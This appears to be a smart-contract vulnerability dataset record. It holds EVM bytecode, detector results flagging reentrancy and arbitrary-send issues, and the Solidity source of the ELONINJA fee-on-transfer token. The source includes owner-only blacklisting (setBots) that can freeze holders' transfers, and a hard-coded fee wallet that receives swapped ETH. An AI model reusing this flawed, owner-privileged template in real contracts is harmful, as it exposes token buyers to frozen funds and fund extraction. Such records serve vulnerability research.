ffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220251cdc71a2a86d2f250b62e105c8200e64f4a5f30a1297b1a9e059e380a13bda64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,238 |
0x20be4dad35e7b00874e742095f5bc4c997ea2894
|
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
//TG: @eloninja
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ELONINJA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "ELONINJA";
string private constant _symbol = "ELONINJA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x2A73753436f38f183A3e9F7F7a27D678E67c041E);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461015c5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b806323b872dd116100f257806323b872dd14610212578063273123b714610232578063313ce567146102525780636fc3eaec1461026e57806370a082311461028357600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019c57806318160ddd146101cc5780631bbae6e0146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461163a565b6103e5565b005b34801561016857600080fd5b506040805180820182526008815267454c4f4e494e4a4160c01b602082015290516101939190611657565b60405180910390f35b3480156101a857600080fd5b506101bc6101b73660046116d1565b610436565b6040519015158152602001610193565b3480156101d857600080fd5b50683635c9adc5dea000005b604051908152602001610193565b3480156101fe57600080fd5b5061015a61020d3660046116fd565b61044d565b34801561021e57600080fd5b506101bc61022d366004611716565b610491565b34801561023e57600080fd5b5061015a61024d366004611757565b6104fa565b34801561025e57600080fd5b5060405160098152602001610193565b34801561027a57600080fd5b5061015a610545565b34801561028f57600080fd5b506101e461029e366004611757565b610579565b3480156102af57600080fd5b5061015a61059b565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102ec57600080fd5b5061015a61060f565b34801561030157600080fd5b506101bc6103103660046116d1565b610821565b34801561032157600080fd5b5061015a61033036600461178a565b61082e565b34801561034157600080fd5b5061015a6108c4565b34801561035657600080fd5b5061015a610904565b34801561036b57600080fd5b5061015a61037a3660046116fd565b610aaf565b34801561038b57600080fd5b5061015a61039a3660046116fd565b610ae7565b3480156103ab57600080fd5b506101e46103ba36600461184f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f90611888565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610443338484610b1f565b5060015b92915050565b6000546001600160a01b031633146104775760405162461bcd60e51b815260040161040f90611888565b6801158e460913d0000081111561048e5760108190555b50565b600061049e848484610c43565b6104f084336104eb85604051806060016040528060288152602001611a4e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f53565b610b1f565b5060019392505050565b6000546001600160a01b031633146105245760405162461bcd60e51b815260040161040f90611888565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161040f90611888565b4761048e81610f8d565b6001600160a01b03811660009081526002602052604081205461044790610fc7565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161040f90611888565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161040f90611888565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071c91906118bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078d91906118bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe91906118bd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610443338484610c43565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161040f90611888565b60005b81518110156108c05760016006600084848151811061087c5761087c6118da565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108b881611906565b91505061085b565b5050565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161040f90611888565b60006108f930610579565b905061048e8161104b